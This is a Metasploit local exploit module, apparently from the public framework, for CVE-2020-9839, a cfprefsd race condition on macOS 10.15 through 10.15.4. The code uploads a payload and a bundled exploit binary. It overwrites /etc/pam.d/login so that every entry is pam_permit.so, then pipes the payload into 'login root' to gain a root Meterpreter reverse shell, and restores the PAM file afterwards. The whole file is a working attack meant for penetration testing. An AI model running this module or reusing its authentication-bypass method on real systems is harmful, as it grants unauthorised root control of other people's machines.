##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
        'Description' => %q{
          This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
          order to run a payload as root. The CFPreferencesSetAppValue function, which is
          reachable from most unsandboxed processes, can be exploited with a race condition
          in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
          a user can then login as root with the `login root` command without a password.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
          'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
          'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
          'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
          'timwr' # metasploit integration
        ],
        'References' => [
          ['CVE', '2020-9839'],
          ['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
        ],
        'Platform' => 'osx',
        'Arch' => ARCH_X64,
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', {} ],
        ],
        'DisclosureDate' => '2020-03-18',
        'Notes' => {
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  # rubocop:disable Style/ClassVars
  @@target_file = '/etc/pam.d/login'
  @@original_content = %q{# login: auth account password session
auth       optional       pam_krb5.so use_kcminit
auth       optional       pam_ntlm.so try_first_pass
auth       optional       pam_mount.so try_first_pass
auth       required       pam_opendirectory.so try_first_pass
account    required       pam_nologin.so
account    required       pam_opendirectory.so
password   required       pam_opendirectory.so
session    required       pam_launchd.so
session    required       pam_uwtmp.so
session    optional       pam_mount.so
}
  @@replacement_content = %q{# login: auth account password session
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so
}
  # rubocop:enable Style/ClassVars

  def check
    version = Rex::Version.new(get_system_version)
    if version > Rex::Version.new('10.15.4')
      CheckCode::Safe
    elsif version < Rex::Version.new('10.15')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    upload_and_chmodx payload_file, binary_payload
    register_file_for_cleanup payload_file

    current_content = read_file(@@target_file)
    @restore_content = current_content

    if current_content == @@replacement_content
      print_warning("The contents of #{@@target_file} was already replaced")
    elsif current_content != @@original_content
      print_warning("The contents of #{@@target_file} did not match the expected contents")
      @restore_content = nil
    end

    exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
    exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
    upload_and_chmodx exploit_file, exploit_exe
    register_file_for_cleanup exploit_file

    exploit_cmd = "#{exploit_file} #{@@target_file}"
    print_status("Executing exploit '#{exploit_cmd}'")
    result = cmd_exec(exploit_cmd)
    print_status("Exploit result:\n#{result}")
    unless write_file(@@target_file, @@replacement_content)
      print_error("#{@@target_file} could not be written")
    end

    login_cmd = "echo '#{payload_file} & disown' | login root"
    print_status("Running cmd:\n#{login_cmd}")
    result = cmd_exec(login_cmd)
    unless result.blank?
      print_status("Command output:\n#{result}")
    end
  end

  def new_session_cmd(session, cmd)
    if session.type.eql? 'meterpreter'
      session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
    else
      session.shell_command_token cmd
    end
  end

  def on_new_session(session)
    return super unless @restore_content

    if write_file(@@target_file, @restore_content)
      new_session_cmd(session, "chgrp wheel #{@@target_file}")
      new_session_cmd(session, "chown root #{@@target_file}")
      new_session_cmd(session, "chmod 644 #{@@target_file}")
      print_good("#{@@target_file} was restored")
    else
      print_error("#{@@target_file} could not be restored!")
    end
    super
  end

end
